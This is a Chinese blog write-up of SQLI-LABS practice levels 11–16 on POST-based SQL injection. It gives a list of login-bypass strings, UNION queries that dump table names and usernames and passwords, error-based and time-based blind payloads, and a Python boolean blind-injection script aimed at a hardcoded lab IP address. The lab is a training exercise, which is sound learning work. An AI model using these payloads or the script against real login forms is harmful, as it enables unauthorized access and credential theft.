写在前面：今天介绍的是post注入。

自己总结了一些万能密码：

1：”or “a”=”a
2： ‘)or(‘a’=’a
3：or 1=1–
4：’or 1=1–
5：a’or’ 1=1–
6：”or 1=1–
7：’or’a’=’a
8：”or”=”a’=’a
9：’or”=’
10：’or’=’or’
11：1 or ‘1’=’1’=1
12：1 or ‘1’=’1′ or 1=1
13： ‘OR 1=1%00

#然而个人习惯性使用
admin’#
admin’)#
admin”#
admin”)#
admin’or’1’=’1#
#等等来构造恒真语句（密码随便输）

less-11

1.使用万能密码注入

用户名：admin’#
密码随便输。（之后都是随便输，我后面就只说用户名输什么了）
显示用admin账户登录，表明可以注入

2.猜字段

uname=123&passwd=q%27order by 2%23&submit=Submit

字段数为2

3.爆数据库

用户名输入：

1admin’union select 1,database()#

爆出数据库为security

3.爆表

uname=123&passwd=q%27union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’%23&submit=Submit

爆出表emails,referers,uagents,users

或者

uname=1admin’union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’%23&passwd=1&submit=Submit

ps：这里遇到一个坑，在post传参的时候#是不能用–+代替的，最好使用%23

4.爆列

uname=1admin’union select 1,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’%23&passwd=1&submit=Submit

列名：id,username,password

5.爆数据

uname=abc’union select 1,concat_ws(char(32,58,32),id,username,password) from users limit 1,1%23&passwd=1&submit=Submit

#或者

uname=1admin’union select password,username from users where id=2%23&passwd=1&submit=Submit

#或者一次性爆出所有信息

uname=abc’union select group_concat(username),group_concat(password) from users limit 1,1%23&passwd=1&submit=Submit

less-11 over！

less-12

按照less-11的payload，单引号换双引号试一下，发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select group_concat(username),group_concat(password) from users#”) and pas’ at line 1

那就是少了个），换”)即可

less-12 over！

less-13

尝试注入点

admin’

发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’) LIMIT 0,1′ at line 1

说明闭合还差个括号

尝试admin’)#注入

分析一下：不会显示你的登录信息了，只能给你一个是否登录成功的返回数据。那我们这里可以用下布尔类型的盲注。

布尔型盲注我在我前面的文章《SQLI-LABS修炼笔记（二）》已经细讲过了，可以看看。

直接上脚本爆数据库：

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
#uname=’ )or (select substr((select database()),1,1))=’s’ # &passwd=1
url = “http://43.247.91.228:84/Less-13/”;
name =””
database_length=0
#正确的话就存在 flag.jpg
database_length_payload = “uname=’ ) or length((select database()))={0} #”
database_name_payload = “uname=’ )or (select substr((select database()),{0},1))='{1}’ # &passwd=1”
def get_response(payload,value,*args):
if len(args)==0:
payload=payload.format(value)
data = {‘uname’: payload, ‘passwd’: ‘1’}
else:
payload = payload.format(value,args[0])
data = {‘uname’: payload, ‘passwd’: ‘1’}
print(data)
html = requests.post(url, data=data)
if “flag.jpg” in html.text:
return True
else:
return False
for n in range(100):
if get_response(database_length_payload,n):
print(“[+] database_length is {0}”.format(n) )
database_length=n
break
for nn in range(1,database_length+1):
for v in “qwertyuioplkjhgfdsazxcvbnm”:
if get_response(database_name_payload,nn,v):
name =name+v
print(“[+] database name is {0}”.format(name))
break
print(“[*] database name is {0}”.format(name))

也可以使用双注入！双注入我之前的文章《SQLI-LABS修炼笔记（二）》里面也写了，这里直接上payload。

uname=1&passwd=1′)union select count(*),concat(‘:’,(select concat(username,char(32,44,32),password) from users limit 0,1),’:’,floor(rand(0)*2)) as a from information_schema.tables group by a%23

less-13 over!

less-14

测试注入点

admin’

没有回显，再测试

admin”

发现报错回显

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘”admin”” and password=”” LIMIT 0,1’ at line 1

按照less-13的payload，把’)换成”就行。

less-14 over！

less-15

怎么测试都找不到报错回显，那应该是基于时间的盲注了。

测试一下

uname=admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

正确的时候可以直接登录，不正确的时候延时5秒。

试一下果然是基于时间的盲注。

脚本跑一下，爆出信息。

less-15 over！

less-16

这题很迷，卡了n久，后来发现就是基于时间的盲注。

less-15的脚本单引号换双引号就行。

less-16 over！